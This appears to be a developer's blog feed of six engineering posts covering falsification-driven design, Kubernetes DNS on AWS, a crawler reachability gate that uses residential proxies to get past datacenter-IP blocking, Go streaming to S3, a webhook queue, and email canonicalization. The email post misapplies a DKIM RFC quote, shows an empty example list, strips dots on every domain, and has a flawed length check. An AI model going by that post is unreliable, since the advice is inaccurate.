DEV Community: Harish

You can't test your way to certainty — so falsify instead

Harish — Sun, 21 Jun 2026 08:27:19 +0000

I'm currently building a PoC that rebuilds one of our core services from scratch — same job, completely different architecture. The design didn't come from a whiteboard moment; it accreted. I'd solved one issue in the existing system, then another, then another, and one day I looked back at the pile of fixes and something just spoke: this doesn't seem right anymore. The old shape couldn't hold all the patches. So I started over.

And that's where the trouble began.

The fear of infinite examples

As I implemented the new architecture, I worked the way most of us do: run it through an example, watch it break, add a tweak to handle that case, repeat. It felt productive. Each example I fixed made the system a little more capable.

Then a quiet dread crept in: what if this never ends?

I had 20 examples to test the PoC. But 20 was only the start — soon it would be 500, then eventually a million. I could feel myself on a treadmill. Every increment in scale would surface new cases, and I'd be patching forever, never able to point at the system and say "it's done." I couldn't see the end. The space of possible inputs was just too vast, and I was trying to map it one example at a time.

The worst part wasn't the work. It was not knowing how much work was left — or whether "left" even had a bottom.

Engineers have empirical bias

Here's the thing I eventually named. We engineers make a huge number of design decisions based on the examples we happen to observe. We see a few hundred cases, spot the patterns, and bake those patterns into the system. Data scientists have a term for this trap: empirical bias — over-fitting your conclusions to the sample you happened to look at.

In a small project that's fine; you've basically seen everything. But in a large project, the unknowns are unknown. Nobody has observed them. They're not on any list of edge cases because no one knows they exist yet.

Which leads to the question that was actually keeping me up:

How do you know the things that you don't know?

A surprising answer: Karl Popper's falsification

The answer didn't come from an engineering blog. It came from philosophy of science.

Karl Popper was a 20th-century philosopher who asked what separates real science from things that merely sound scientific. His answer was falsifiability. A claim is scientific only if it makes a prediction that could, in principle, be proven wrong.

His famous example is swans. No matter how many white swans you observe, you can never prove the statement "all swans are white" — there could always be another swan around the corner. A thousand confirmations don't make it true. But a single black swan disproves it instantly. So the logic of discovery is asymmetric: confirmation is weak, refutation is decisive.

From this, Popper drew a sharp line. A good theory is a bold conjecture that sticks its neck out — it tells you exactly what observation would kill it, and then survives every attempt to kill it. A theory that can't be falsified by any conceivable observation — one that's compatible with literally any outcome — isn't strong, it's empty. That's not science. That's pseudo-science.

This is, more or less, how mainstream science actually works. Anyone can cook up a theory from observations. What earns it the name "scientific" is that it can be falsified and hasn't been — yet.

How this applies to engineering

Once I saw it, I couldn't unsee the parallel. I had been doing the unscientific thing: accumulating confirming examples ("look, it handles this one too!") and hoping the pile would eventually feel tall enough. It never would. That's the white-swan game, and it has no end.

The shift was to invert it. Instead of trying to confirm my system on more and more cases, try to falsify it. Concretely:

Write down every design decision, heuristic, and assumption the system rests on. Make the implicit explicit. You can't test a belief you haven't articulated.
For each one, name its black swan. Ask: what would disprove this? What exact thing has to happen for this decision to be wrong? If you genuinely can't think of anything that would break it, be suspicious — that's the pseudo-science smell. A decision that can't fail usually isn't saying anything.
Instrument the black swan. Put a log line or a metric on the precise condition that would prove the assumption false. Now the system itself watches for its own counterexamples.
If you're big enough, go hunting. This is exactly what Netflix did with Chaos Monkey. Rather than wait for a server to die at 3 a.m. and hope the system coped, they wrote a tool that randomly kills production instances during business hours — deliberately manufacturing the black swan while engineers are awake to watch it. The assumption under test is "we can lose any single instance and survive," and Chaos Monkey tries to falsify it on a schedule. It later grew into a whole "Simian Army" (latency injection, zone failures, and so on). The philosophy is pure Popper: don't trust that you're resilient because nothing has broken yet — actively try to break it, and let the failures find you before your customers do.

The point isn't to predict every unknown. It's to set a tripwire on each assumption so the unknown announces itself the moment it arrives.

The peace it gave me

This reframe did something I didn't expect: it gave me peace.

I stopped trying to imagine the million examples in advance, because I finally understood that I couldn't, and that chasing them was the wrong game anyway. Instead: state the assumptions, instrument the black swans, and ship it. Unless and until a tripwire fires, there's nothing to worry about. And when one does fire, I'll know instantly — and I'll fix it then, with a real counterexample in hand instead of a hypothetical fear.

The treadmill stopped. Not because the unknowns went away, but because I'd outsourced the worrying to my logs.

Over to you

I'm genuinely curious how others think about this — building large-scale systems that have to handle countless cases you can't enumerate up front. Does the falsification lens resonate, or do you think I'm forcing a philosophy metaphor onto something that needs plain engineering? Tell me where this breaks. And if a particular idea ever gave you peace in the face of the unknown, I'd love to hear it.

DNS is weird inside k8s on AWS

Harish — Sun, 21 Jun 2026 05:18:46 +0000

A ~6 minute read — just three concepts that, once you know them, change how you reason about DNS inside a cluster.

While chasing some DNS timeouts recently, I went down a rabbit hole and came out with three concepts I wish I'd known earlier. None of them is exotic, but together they explain a surprising amount of "why is DNS being weird" behaviour on Kubernetes-on-AWS.

ndots — why one hostname lookup can become many DNS queries
NodeLocal DNS — the per-node caching layer your queries actually hit first
The EC2 per-ENI DNS packet limit — a hard ceiling most people never hear about until they hit it

1. `ndots`: one lookup is rarely one query

Pull /etc/resolv.conf from inside almost any Kubernetes pod and you'll see three interesting lines:

nameserver <cluster-dns>
search my-namespace.svc.cluster.local svc.cluster.local cluster.local ec2.internal
options ndots:5

nameserver — where queries are sent.
search — a list of suffixes the resolver may append to a name before giving up.
options ndots:N — the rule that decides when those suffixes get appended.

ndots is the quiet one, and it's the one that surprises people. It says:

"If the name being looked up contains **fewer than N dots, treat it as a partial/relative name — try it with each search suffix appended **first, and only try it as an absolute name if all of those fail."

Kubernetes defaults to ndots:5. That default exists for a good reason: service discovery. It lets your code say redis or payments.billing and have the resolver expand it to redis.my-namespace.svc.cluster.local. Very convenient inside the cluster.

The catch is what happens to real external hostnames, which usually have fewer than 5 dots. Take data.example.com — that's 2 dots. Since 2 < 5, the resolver assumes it's relative and walks the entire search list before trying the real thing:

1. data.example.com.my-namespace.svc.cluster.local   → NXDOMAIN
2. data.example.com.svc.cluster.local                → NXDOMAIN
3. data.example.com.cluster.local                    → NXDOMAIN
4. data.example.com.ec2.internal                     → NXDOMAIN
5. data.example.com                                  → the real answer

That's 5 queries to resolve one name, four of them guaranteed misses. And remember the resolver issues A (IPv4) and AAAA (IPv6) records in parallel, so realistically you're looking at up to ~10 DNS queries for a single hostname.

The fix is one line: set ndots:1. Then any name with at least one dot is tried as an absolute name first, and data.example.com resolves in a single shot (well, two — A and AAAA). You only lose the convenience of short, suffix-less service names — which most apps that talk to FQDNs and external hosts don't rely on anyway.

# pod spec
dnsConfig:
  options:
    - name: ndots
      value: "1"

Takeaway: on Kubernetes, the number of DNS queries your app generates is not the number of lookups it makes. ndots is the multiplier, and the default of 5 is tuned for in-cluster discovery, not external traffic.

2. NodeLocal DNS: the (optional) cache hop you might not know is there

First, the baseline that is effectively universal: every cluster has a cluster DNS service — historically kube-dns, and CoreDNS by default since Kubernetes 1.13. It runs centrally as a Deployment (a handful of pods behind a ClusterIP Service, usually at .10 of the service CIDR, e.g. 10.96.0.10), and every pod's resolv.conf points its nameserver at that Service IP.

NodeLocal DNSCache is not mandatory — it's an optional add-on you opt into. When present, it inserts a per-node caching layer between the pod and CoreDNS, so your pod resolves against the local node first instead of reaching across the network to the central CoreDNS Service on every query:

  ┌─────────┐  link-local IP     ┌──────────────────┐
  │  Pod    │ ─────────────────► │  NodeLocal DNS   │  (DaemonSet — one per node)
  │ (glibc) │   UDP :53          │  on-node cache   │
  └─────────┘                    └────────┬─────────┘
                                          │ on cache miss, forward
                          ┌───────────────┴────────────────┐
                          │                                 │
                  *.cluster.local                    everything else
                          │                                 │
                          ▼                                 ▼
                  ┌───────────────┐                ┌──────────────────┐
                  │ CoreDNS /     │                │  Upstream / VPC  │
                  │ kube-dns      │                │  resolver        │
                  │ (in-cluster)  │                │  (cloud-provided)│
                  └───────────────┘                └──────────────────┘

What it is and why it exists:

NodeLocal DNS runs as a DaemonSet — one instance per node — and listens on a link-local address (an IP in the 169.254.0.0/16 range, which is node-local and never routed off the box).
Every pod on that node sends its DNS queries to this local instance first. The query never leaves the node for a cache hit.
This solves two real problems: it cuts latency (no network hop for cached answers), and it avoids a known conntrack/UDP race that caused intermittent 5-second DNS hangs when pods talked to a cluster-wide DNS service directly.
On a cache miss, NodeLocal forwards the query upstream — cluster-internal names (*.svc.cluster.local) go to CoreDNS/kube-dns; everything else goes to the upstream resolver (on AWS, the VPC resolver / AmazonProvidedDNS).

The important mental model (when NodeLocal is present): caching only helps for repeated names, and only within a TTL. A positive answer is cached for its record's TTL; a negative answer (NXDOMAIN) is cached according to the zone's SOA. If you re-resolve the same host frequently, NodeLocal absorbs most of it. If your names or TTLs churn, more queries forward upstream.

3. The EC2 per-ENI DNS packet limit (~1024 pps)

This is the one almost nobody knows until it bites: EC2 caps DNS traffic at roughly 1024 packets per second per network interface (ENI).

Details that matter:

It's specifically the path to the VPC resolver (the .2 address / AmazonProvidedDNS) — packets to the Route 53 Resolver are what's metered.
The limit is per-ENI, which in practice usually means per-node (or per-pod, if pods get their own ENIs). It is not a cluster-wide pool and it cannot be raised via a support ticket — it's a fixed allowance.
When you exceed it, AWS doesn't return an error. It silently drops the excess packets. A dropped UDP query gets no response, so the client just waits and eventually reports i/o timeout.

How you'd actually prove you're hitting it (rather than assuming): AWS exposes a per-ENI counter, linklocal_allowance_exceeded, that increments each time a packet is dropped for crossing this limit. Read it on the node:

ethtool -S <interface> | grep allowance_exceeded

A few honest caveats, because this is exactly where people jump to conclusions:

The counter only proves anything if it's increasing during the timeout window. A reading of 0, or a value on an idle/freshly-provisioned node, tells you nothing.
Hitting this limit requires genuinely high DNS packet rates. A service that resolves a small set of hosts repeatedly — where NodeLocal caches the answers — typically won't get anywhere near 1024 pps. So before blaming this limit, confirm the packet rate is actually high and the counter is actually moving.
The ndots amplification from concept #1 is what makes this limit easier to hit than you'd expect — because each logical lookup can be ~10 packets — but amplification of a low request rate is still a low request rate.

Takeaway: the ~1024 pps per-ENI DNS cap is real and unraiseable, and its failure mode (silent drops → timeouts) is genuinely confusing. But it's a ceiling you have to measure, not assume — linklocal_allowance_exceeded is the only thing that proves it.

How the three fit together

These aren't three separate facts — they're a chain:

Your app makes a DNS lookup.
ndots decides how many actual queries that becomes (default ndots:5 → potentially ~10×).
Those queries hit NodeLocal DNS first; cache hits stay on the node, misses forward to CoreDNS or the VPC resolver.
The forwarded traffic to the VPC resolver is metered against the ~1024 pps per-ENI limit, and silently dropped past it.

Knowing the chain is what lets you reason about a DNS problem instead of guessing: is my query count inflated (ndots)? is my cache actually being used (NodeLocal + TTLs)? am I genuinely hitting the packet ceiling (linklocal_allowance_exceeded)? Three different questions, three different places to look.

That's the toolkit. Where it points in any specific incident is a separate investigation — and proving which link in the chain is actually responsible takes measurement, not assumption.

Your DNS check is lying to you

Harish — Sat, 06 Jun 2026 03:08:29 +0000

Or: how a "this host is dead" verdict from a single net.LookupHost call quietly broke our crawler, and what we did about it.

The setup

We run a crawler that fetches tens of thousands of corporate websites a day from a datacenter. Before we spend any budget on a fetch — the actual HTTP request, the residential proxy hop, the S3 upload — we run a cheap reachability gate. The job of the gate is one thing: answer the question "is it even worth trying to fetch this host from here?"

The first version of that gate was the obvious thing: resolve the host. If DNS returns an IP, the host exists. If it doesn't, mark the URL dead and move on.

That gate was wrong often enough to matter. This is the story of the four ways it was wrong, and the gate we ended up with.

Why "just resolve the host" isn't enough

A naive reachability check has the shape:

Call net.LookupHost. If it returns IPs, the host is reachable. If it errors, it isn't.

Every clause in that sentence is a lie in production. Here are the four leaks we hit, in order of how painful they were.

Leak 1 — CNAME chains the resolver doesn't finish in time

A lot of corporate sites don't resolve directly. They sit behind a CDN, which sits behind a tenant-specific alias, which sits behind a regional load-balancer name. From DNS's point of view, that's a CNAME chain:

ir.bigcorp.com  →  bigcorp.cdnvendor.net  →  edge-eu-west-3.cdnvendor.net  →  A 203.0.113.42

LookupHost is supposed to chase the chain transparently and hand you the final IP. It usually does. But "usually" hides two real failure modes:

The resolver chases the chain in series under a single deadline. A slow hop two-thirds of the way down eats the whole budget; the call returns a timeout, not the IP it would have found with another 200ms.
An intermediate hop misbehaves — wrong record type, NXDOMAIN at a tier the resolver doesn't expect, a stub that's been decommissioned. The lookup fails even though the host is registered and reachable through other paths.

Both look identical to the caller: LookupHost returned an error. The naive gate calls the host dead. The next day a human checks, the site loads fine in a browser, and we've burned a perfectly good URL.

Leak 2 — datacenter IPs get blocked silently

Plenty of origins explicitly drop connections from cloud IP ranges. From a residential connection they answer instantly; from our crawler's egress IP the TCP handshake just times out. There's no error code that says "I'm filtering you" — it looks exactly like a dead origin.

DNS resolves fine in that case, so the naive gate passes the host through. The fetch then burns its full timeout on a connection that was never going to land. Worse, when we do go through our residential proxy, the host fetches cleanly. The check we wanted to make — "is the origin actually down or is it just down **for us" — wasn't being made anywhere.

Leak 3 — TLS versions that our real client will refuse anyway

Our production HTTP clients pin MinVersion: TLS 1.2. Some long-tail origins still only negotiate TLS 1.0/1.1. DNS passes, the TCP handshake passes, the TLS handshake fails with a protocol-version alert, and we've spent a residential proxy request finding that out.

If we'd noticed at the gate that the server's best offer was below our floor, we could have failed the URL immediately and saved the spend.

Leak 4 — costing the proxy on requests that didn't need it

Residential proxy requests are not free. Routing every uncertain host through the proxy "just to be sure" turns a reachability check into one of the most expensive parts of the pipeline. Whatever we built had to use the proxy as a tiebreaker, not as a first resort.

What we built instead

A three-stage gate, ordered cheapest-and-most-certain first. Each stage can short-circuit the result; the proxy is only touched when the cheap stages genuinely can't tell.

Stage 1 — DNS that walks the CNAME chain by hand

The fast path is still LookupHost. It works for the vast majority of hosts, including most CNAME chains, and it costs nothing extra.

The slow path is what changes. When LookupHost fails, we don't conclude "dead host" — we conclude "the resolver couldn't finish the chain in one shot." So we walk the chain ourselves: LookupCNAME, advance one hop, try LookupHost at that level, repeat. Several things fall out of this:

A bounded hop count (we picked 5) protects us from CNAME loops and pathologically deep chains.
A visited set catches loops that don't show up as depth — a CNAME that points back to a name we've already seen.
A canonical-name dead-end (CNAME points to itself, or to a name with no further records) returns the original error, so genuine NXDOMAINs still surface as NXDOMAINs.
An intermediate hop that resolves where the full chain timed out is treated as a pass. The reasoning: the original timeout was almost certainly cumulative, not terminal. If any level in the chain has a working A record, the host is alive.

This single change moved a measurable chunk of URLs out of the "dead" bucket.

Stage 2 — TLS as a three-way verdict, not a boolean

A direct TLS dial from our datacenter is doing two jobs at once. It's checking whether the server speaks a version we accept, and it's checking whether the server answers us at all. Those two outcomes need different handling, so we classify the dial as one of three things:

Usable — handshake completed, negotiated version ≥ TLS 1.2. Pass. The fetch will work.
Rejected — the server sent a TLS alert, or negotiated below our floor. Fail fast, and importantly: do not waste a proxy probe on this. Our real client would be rejected the same way; the proxy can't fix a TLS-version mismatch.
Inconclusive — a bare network error (timeout, connection refused, reset). From a datacenter IP this could mean a dead origin, or an origin that filters cloud ranges. We don't know yet, so we defer to stage 3.

The trick that makes stage 2 work is dialing with a permissive MinVersion (TLS 1.0). We want to see what the server can do, then enforce our floor ourselves — otherwise the handshake fails the version check before we get to see what was actually negotiated, and "version too old" becomes indistinguishable from "didn't answer."

Distinguishing a TLS alert from a network error needs a little care: timeouts are network, tls.AlertError is a server-sent alert, anything else carrying a tls: marker (record-header mismatch, plaintext where TLS was expected, protocol-version errors) is a TLS-layer rejection.

Stage 3 — residential proxy as a tiebreaker

Only the inconclusive case reaches here. The question we're answering is "is the origin actually dead, or is it just dead **for our datacenter IP?" — and the only way to answer it is to ask from a non-datacenter vantage point.

We send a single GET through the residential proxy with a generous budget (~20s — a residential hop is much slower than a local dial, and a tight budget would itself produce false negatives). Reachability semantics, not success semantics: any HTTP response — 200, 301, 403, even 404 — proves the origin is up and answering, so it passes the gate. The gate fails only when the request never reaches a responding origin: a transport error, or a proxy-upstream 5xx (502/503/504, the way our proxy signals it couldn't reach the upstream).

One retry with a small randomized backoff absorbs transient edge failures at the proxy without ballooning cost. If the proxy is unconfigured or its URL is malformed, the gate refuses to declare a host dead on the strength of our own broken config — it returns "cannot confirm" and lets the host through.

The flow

                                ┌─────────────────────────────┐
                                │     ResolveHost(host)       │
                                └──────────────┬──────────────┘
                                               │
                                               ▼
                            ┌──────────────────────────────────┐
                            │   Stage 1: DNS                   │
                            │   LookupHost(host)               │
                            └──────────────┬───────────────────┘
                                           │
                       ┌───────────────────┴────────────────────┐
                       │                                        │
                       ▼ ok                                     ▼ error
              (continue to stage 2)                ┌────────────────────────┐
                       │                           │  Walk CNAME chain      │
                       │                           │  hop-by-hop, max 5     │
                       │                           │  - dedupe via visited  │
                       │                           │  - retry LookupHost    │
                       │                           │    at each hop         │
                       │                           └────────────┬───────────┘
                       │                                        │
                       │              ┌─────────────────────────┴──────────────┐
                       │              │ any hop resolves    chain dead / loop  │
                       │              ▼                     ▼                  │
                       │      (continue to stage 2)   FAIL (real NXDOMAIN /    │
                       │                              chain exhausted)         │
                       │                                                       │
                       ▼                                                       │
            ┌──────────────────────────────────────────┐                       │
            │ Stage 2: TLS probe                       │                       │
            │   tls.Dial host:443                      │                       │
            │   MinVersion = TLS 1.0 (permissive)      │                       │
            │   classify the outcome                   │                       │
            └─────────────┬────────────────────────────┘                       │
                          │                                                    │
       ┌──────────────────┼─────────────────────────┐                          │
       ▼ usable           ▼ rejected                ▼ inconclusive             │
  handshake ok,     TLS alert, or                 bare net error               │
  negotiated ≥ 1.2  negotiated < 1.2              (timeout/refused/reset)      │
       │                  │                            │                       │
       ▼                  ▼                            ▼                       │
     PASS              FAIL (fast,             ┌─────────────────────────┐     │
                       don't touch proxy)      │ Stage 3: proxy probe    │     │
                                               │   GET https://host/     │     │
                                               │   via residential proxy │     │
                                               │   retry once + jitter   │     │
                                               └─────────────┬───────────┘     │
                                                             │                 │
                                              ┌──────────────┴───────────┐     │
                                              ▼ origin answered          ▼     │
                                              (any HTTP status)     transport  │
                                              PASS                  err / 5xx  │
                                                                     FAIL      │
                                                                               │
                                                                               │
                          ◄────────────────────────────────────────────────────┘

What we learned along the way

A few generalisable things fell out of building this.

A reachability gate has to model where it's running from. A check that's perfectly accurate from a laptop is wrong half the time from a datacenter. The vantage point is part of the system.

Failure has more states than success does. "Dead" is at least three different things — DNS doesn't resolve, TLS won't handshake, network won't connect — and conflating them means you can't act on them differently. The three-way TLS outcome was the single biggest fix in this whole thing.

Order checks by cost, and let cheap checks short-circuit expensive ones. Stage 1 catches most dead hosts. Stage 2 catches version-incompatible hosts before we burn proxy budget. Stage 3 only runs when the first two genuinely couldn't tell.

Trust your own outputs more than the resolver's outputs. Walking the CNAME chain by hand felt like working around the standard library, but the standard library is doing one thing (give the caller an IP) and we needed another (tell the caller whether the host exists at all). They're not the same question.

Configuration failures must not look like host failures. A missing proxy URL is our problem, not the host's. The gate has to fail open on its own broken config — otherwise a config regression silently nukes thousands of perfectly good URLs.

If you're building anything that touches the long tail of the public web from a datacenter, your "is this host alive" check is probably hiding two or three of these leaks. It's worth a look.

How a 500 MB Buffer Killed Our Archival Job — And Why Streaming Fixed It

Harish — Thu, 28 May 2026 13:23:43 +0000

The job that kept dying

We run a nightly archival job that exports a few large Postgres tables to S3 as gzipped JSONL. On paper it's a humble piece of glue: read rows, serialize, compress, upload. In practice, it was getting OOM-killed by Kubernetes most nights on the larger tenants.

The pod's memory limit was 1 GiB. The biggest table being archived had ~466K rows. At peak we measured the Go heap pushing past 700 MB before the kernel reaped us.

That ratio — 466K small rows producing hundreds of megabytes of heap — was the smell. None of those rows is large. Something in the pipeline was hoarding all of them at once.

What the original code looked like

Roughly, the archival path was this:

rows, _ := q.GetFetchQueueForArchive(ctx, domainID)  // []Row, materialized

var buf bytes.Buffer
gz := gzip.NewWriter(&buf)
for _, r := range rows {
    line, _ := json.Marshal(r)
    gz.Write(line)
    gz.Write([]byte("\n"))
}
gz.Close()

s3.PutObject(ctx, &s3.PutObjectInput{
    Bucket: &bucket,
    Key:    &key,
    Body:   bytes.NewReader(buf.Bytes()),
})

Read that with a memory profiler in your head and the bug is obvious:

GetFetchQueueForArchive is a SQLC :many query. It loops over rows.Next() internally, scans every row into a struct, and appends to a slice. The whole result set lands in the heap before the function returns. For 466K rows of ~1 KB each, that's about 500 MB.
Then we compress into bytes.Buffer — another ~100 MB of gzipped bytes, in memory.
s3.PutObject requires either a Content-Length header or a seekable body. We satisfy that by handing it the fully-buffered bytes. So the whole compressed payload has to coexist in RAM with the source slice until at least the slice goes out of scope.

Peak heap ≈ rows slice + gzip buffer ≈ ~600 MB. Add the rest of the process (DB driver, AWS SDK, goroutine stacks) and we cross the 1 GiB ceiling. The pod dies. K8s restarts it. It dies again on the same table.

The crucial observation: memory usage scales linearly with table size, even though we never need more than one row at a time to do the work. That's a design bug, not a tuning problem. No amount of bumping the memory limit fixes it — the next tenant with twice the rows blows past whatever ceiling you pick.

The shape of the fix

The goal: never hold more than one row's worth of data in Go memory. The pipeline should look like a hose, not a tank. Bytes flow Postgres → JSON → gzip → S3 in a single producer/consumer pipeline, where each stage processes one small unit at a time and exerts backpressure on the previous stage.

Concretely:

pgx.Rows (server-side cursor)
   ↓  rows.Next() → scan one row → ~1 KB
json.Marshal(row)
   ↓                              ~1 KB line
gzip.Writer                       ~32 KB internal compression window
   ↓
io.Pipe (synchronous, zero-buffer)
   ↓
s3manager.Uploader                 5 MB per multipart part
   ↓
S3 (multipart upload)

Peak memory: 1 row + 32 KB gzip window + 5 MB part buffer × upload concurrency ≈ ~25 MB, regardless of whether the table has 1K rows or 100M rows.

The four primitives that make this work

1. `pgx.Rows` — a server-side cursor

pool.Query() returns a Rows handle backed by a Postgres cursor. rows.Next() pulls one row at a time across the wire; only the row currently being scanned lives in Go memory. This is fundamentally different from what SQLC's :many generates, which loops and appends every row into a slice before returning. The streaming path bypasses SQLC and talks to the pool directly with the raw SQL string.

2. `io.Pipe` — a synchronous in-memory pipe

pr, pw := io.Pipe()

pr is a Reader, pw is a Writer. Bytes written to pw become readable from pr — with no internal buffer. It's a synchronization point, not a queue. Write blocks until something reads pr, and Read blocks until something writes pw. Producer and consumer rate-match each other naturally. If S3 upload stalls, our DB iteration stalls too, and memory stays flat.

3. `compress/gzip.Writer` — streaming compression

gzip.NewWriter(w io.Writer) returns a writer that compresses on the fly. As you Write() to it, it buffers up to ~32 KB internally, then flushes compressed bytes to the underlying writer. You never have to hold the whole input or output in memory.

4. `s3manager.Uploader` — multipart upload from an `io.Reader`

The naive s3.PutObject(Body: io.Reader) is a trap: it needs a Content-Length or seek support to compute the body size, neither of which a true stream provides. s3manager.Uploader reads the body in 5 MB chunks (configurable), uploads each as a multipart "part", and stitches them together with CompleteMultipartUpload. Memory bound: 5 MB × concurrency (default 5) ≈ ~25 MB, well below pod limits.

The producer/consumer pipeline

func (a *Archiver) streamJSONL(
    ctx context.Context,
    s3Key string,
    sqlText string,
    args []any,
    scanFn func(rows pgx.Rows) (any, error),
) (rowCount int, err error) {
    pr, pw := io.Pipe()

    go func() {
        // On exit, close pw with the producer's error (or nil) so the
        // reader side learns the outcome.
        defer func() {
            if err != nil {
                pw.CloseWithError(err)
            } else {
                pw.Close()
            }
        }()

        gz := gzip.NewWriter(pw)
        defer gz.Close() // flushes gzip trailer BEFORE pipe closes

        rows, qErr := a.pool.Query(ctx, sqlText, args...)
        if qErr != nil {
            err = qErr
            return
        }
        defer rows.Close()

        for rows.Next() {
            row, sErr := scanFn(rows)
            if sErr != nil {
                err = sErr
                return
            }
            line, mErr := json.Marshal(row)
            if mErr != nil {
                err = mErr
                return
            }
            if _, wErr := gz.Write(line); wErr != nil {
                err = wErr
                return
            }
            if _, wErr := gz.Write([]byte("\n")); wErr != nil {
                err = wErr
                return
            }
            rowCount++
        }
        if rErr := rows.Err(); rErr != nil {
            err = rErr
        }
    }()

    // Hand pr to s3manager. Blocks until the producer finishes AND all
    // parts are uploaded.
    upErr := a.s3Uploader.UploadStream(ctx, s3Key, pr, "application/gzip",
        map[string]string{"content-encoding": "gzip"})
    if upErr != nil {
        pr.CloseWithError(upErr) // tell producer to stop if still running
        return 0, fmt.Errorf("s3 upload failed: %w", upErr)
    }
    return rowCount, err
}

A few subtleties that look small but matter:

defer gz.Close() is registered before defer pw.Close() and runs first. Gzip needs to flush its trailer bytes through pw. If the pipe closed first, the gzip stream on the consumer side would be truncated and unreadable.
CloseWithError on both ends. If the producer hits a DB error mid-iteration, it closes pw with that error. The consumer reading pr sees ErrClosedPipe wrapping the cause, and s3manager aborts the multipart upload, sending AbortMultipartUpload to S3 — no orphaned partial uploads. The same trick goes the other way: if the S3 upload fails, we pr.CloseWithError(upErr) so the producer's next gz.Write returns and the goroutine exits instead of hanging.
No mutex needed. io.Pipe is its own synchronization primitive; the producer's writes serialize naturally against the consumer's reads.
Reading rowCount after the call is safe because UploadStream only returns after pr is fully drained, which only happens after the producer goroutine closes pw. By the time we return, the producer is done writing to rowCount.

What the numbers looked like after

Same 466K-row table, same pod, same 1 GiB memory limit:

Before: heap peaked around 700 MB; OOM-killed roughly 4 nights out of 5.
After: heap held flat at ~30 MB through the whole archive. Zero OOM kills since deploy.

Wall-clock time went up slightly (a couple of percent) because we no longer issue one fat PutObject — but that's a fair trade for not getting murdered by the kernel.

What streaming doesn't fix

Worth being honest about the limits:

DB-side memory. Some of the queries powering these archives do non-trivial joins. That's Postgres' problem, not the pod's. Streaming doesn't make the planner cheaper.
Retry cost. If the upload fails 90% of the way through, we re-iterate from row zero on retry. For 50M-row tables that's slow but still memory-flat. Idempotent multipart resumption is a follow-up, not a blocker.
In-memory tree builds elsewhere. Other parts of the system still build whole trees in memory before serializing. They're small enough today that it's fine, but it's the same anti-pattern waiting to bite.

The general lesson

Whenever your data pipeline's memory usage scales with input size and you don't actually need random access to the data, you have a streaming bug waiting to happen. The fix is almost always the same set of primitives: a cursor on the source, an io.Pipe for backpressure, a streaming codec in the middle, and a chunked uploader at the sink. Bound the working set to a few megabytes and the pipeline stops caring whether you throw a thousand rows at it or a billion.

I built a strange webhook handler in NodeJS

Harish — Sat, 12 Aug 2023 06:16:16 +0000

One fine fintech startup wanted to build a webhook payment handler. This article will walk through how my NodeJS code was able to handle webhook deliveries like a piece of cake.

Context

This client lives and breaths Java and it was also related to payment. So he insisted on using Java, multithreading, Thread pools and all of that shit which I did not understand. And he cared too much about getting it done asap! In fact thats why he came to me cause I had built it already with Javascript. But how am I going to make my single threaded Javascript code handle huge traffic?

Objectives

The webhook payload needs to be validated, transformed and stored into a database.
The webhook was delivered by a 3rd party, so a success response need to be sent back immediately after the delivery. We can't let the webhook get clogged by traffic!
It was a startup, we did not want to spend too much time thinking about scaling and load balancing

Brainstorming

The API needs to be super responsive, so my first thought was to process it asynchronously.
We were on AWS, so we could use EC2! but how are we going to handle scaling? I didn't want to get into that mess. Even with ELB(Elastic load balancer), still need to run multiple containers to process them parallelly.

It hit me after a while, that we are actually fine if we have some delay in the processing. We just want to respond back to the webhook immediately and do not want the webhook server to become unresponsive.

So instead of thinking parallel processing, I started to think how to optimise the response TAT. And we were totally fine with processing the requests with a delay if there is more.

Finally the price, we already had an EC2 running for the APIs. So we need to use the same instance but again cant let the webhook bottleneck API. So our only go to is a lambda which is bad for most cases. But thats the best we could do right now.

The final spec

We have the API gateway connected to the Lambda function. The lambda function was on autoscale so it took care of traffic out of the box. The whole role of the function is to accept the request, push the message to SQS and respond back. This took just 100ms once the lambda is warm.
The same EC2 used for APIs run another docker container that polls the queue every 30 seconds for new messages. If it finds any, it dequeues the message and processes it one by one. Any failure happening while processing wont affect the response sent to the 3rd party as its strictly decoupled. The response has already been sent!

Conclusion

I am not sure if this is the best way to build a webhook handler. But this was the quickest, cheapest solution I could come up with. Feel free to criticise and suggest better ideas.

Follow me on Twitter: twitter.com/HarishTeens
Follow me on GitHub: github.com/HarishTeens

You need to implement this email check

Harish — Fri, 13 Jan 2023 11:29:11 +0000

Are you a backend dev? And your existing email check logic looks something like this?

const email = req.body.email;
const resp = await UserDB.findOne({email: email});
if(resp.length >0)
    throw new Error("Email already exists");
// Create account
...

Your application is at risk! Keep reading

What the heck is Email Canonicalization?

Consider the below emails:

If you are treating all these as different emails, you are wrong ❌

The above emails are all treated as the same email address, is an example of a technique called "email canonicalization" that many email providers use to standardize email addresses for consistency and easier management.

The canonical form of all the above emails post standardisation is hello@gmail.com. Since Gmail doesn't bother about these mild modifications, emails sent to these different emails would land in a single Inbox allocated to hello@gmail.com.

There is not much information on the internet. But this is the textbook definition from RFC standard website: https://www.rfc-editor.org/rfc/rfc6376#section-3.4

Some mail systems modify email in transit, potentially invalidating a
signature. For most Signers, mild modification of email is
immaterial to validation of the DKIM domain name's use.

Why this matters?

Let's say your application collects user emails like majority of the applications. If your check to find existing email directly compares the raw email address. The above 3 email addresses would be treated as 3 different individuals, leading to creation of 3 user accounts. One does not usually expect users to sign up with these mild variatons. But when there is an incentive to, this behaviour tend to happen.

At our company, every new user signup is rewarded. Both referrer and refree are eligible for the reward. Analysing our user data revealed these mild variations of emails being registered as different accounts. And this costed us as they were exploiting our referral program. One could easily configure these mild variations on their Gmail. Since our systems would treat them as new email addresses, they were able to register, verify OTP that landed on the same Inbox and then refer themselves.

The npm package you need

To abstract the logic for the check, I created this npm package canonical-email-generator.

Installation:

npm i --save canonical-email-generator

So far the package refines the emails for these below cases:

Lowercasing: converting all letters in the email address to lowercase before comparing or storing it. This helps to ensure that "Hello@example.com" and "hello@example.com" are treated as the same email address.
Removing sub-addressing: removing the "+" character and any text following it in the local part of the email address. For example, "user+home@example.com" would be canonicalized to "user@example.com".
Removing comments: removing any text within parentheses in the local part of the email address. For example, "user(home)@example.com" would be canonicalized to "user@example.com".
Removing leading or trailing whitespace: removing any whitespace before or after the email address.
Removing dots: removing dots from local part of the address, For example "hell.o@gmail.com" would be canonicalized to "hello@gmail.com"

I would be actively maintaining it and adding more checks as I discover. So you're good to go.

Implementing the better way

The invalid account signup could be eradicated by converting the email to its canonical form before checking the database. But for that you need to store the canonical form in your database as well.

const { canonicalizeEmail } = require('canonical-email-generator');
...
const email = req.body.email;
const canEmail = canonicalizeEmail(email);
const resp = await UserDB.findOne({canEmail: canEmail});
if(resp.length >0)
    throw new Error("Email already exists");
